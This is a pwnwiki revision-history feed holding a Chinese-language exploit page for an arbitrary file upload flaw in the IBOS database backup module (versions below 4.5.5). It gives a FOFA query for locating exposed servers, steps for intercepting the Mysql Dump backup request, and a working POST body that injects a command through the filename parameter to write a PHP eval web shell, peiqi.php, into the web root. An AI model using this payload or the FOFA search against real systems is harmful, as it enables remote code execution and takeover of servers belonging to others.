https://pwnwiki.com/index.php?action=history&feed=atom&title=IBOS_%E6%95%B8%E6%93%9A%E5%BA%AB%E6%A8%A1%E5%A1%8A_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E
IBOS 數據庫模塊 任意文件上傳漏洞 - Revision history
2026-04-13T13:41:11Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=IBOS_%E6%95%B8%E6%93%9A%E5%BA%AB%E6%A8%A1%E5%A1%8A_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&diff=2711&oldid=prev
Pwnwiki: Created page with "==漏洞影響== IBOS < 4.5.5 ==FOFA== <pre> body="IBOS" && body="login-panel" </pre> ==漏洞利用== 登錄頁面如下 <pre> http://xxx.xxx.xxx.xxx/?r=dashboard/default/..."
2021-05-07T08:55:54Z
<p>Created page with "==漏洞影響== IBOS < 4.5.5 ==FOFA== <pre> body="IBOS" && body="login-panel" </pre> ==漏洞利用== 登錄頁面如下 <pre> http://xxx.xxx.xxx.xxx/?r=dashboard/default/..."</p>
<p><b>New page</b></p><div>==漏洞影響==<br />
IBOS < 4.5.5<br />
<br />
==FOFA==<br />
<pre><br />
body="IBOS" && body="login-panel"<br />
</pre><br />
<br />
==漏洞利用==<br />
<br />
登錄頁面如下<br />
<pre><br />
http://xxx.xxx.xxx.xxx/?r=dashboard/default/login<br />
</pre><br />
<br />
找到数据库备份模块，啓用更多選項，備份方式選擇Mysql Dump 提交并抓包<br />
<br />
修改filename參數發送包會上傳peiqi.php文件到根目錄<br />
<br />
<pre><br />
backuptype=all&custom_enabled=1&method=shell&sizelimit=2048&extendins=0&sqlcompat=MYSQL41&sqlcharset=utf8&usehex=0&usezip=0&filename=peiqi%26echo "<?php eval($_REQUEST[peiqi]);?>">peiqi%PATHEXT:~0,1%php%26peiqi&dbSubmit=1<br />
</pre></div>
Pwnwiki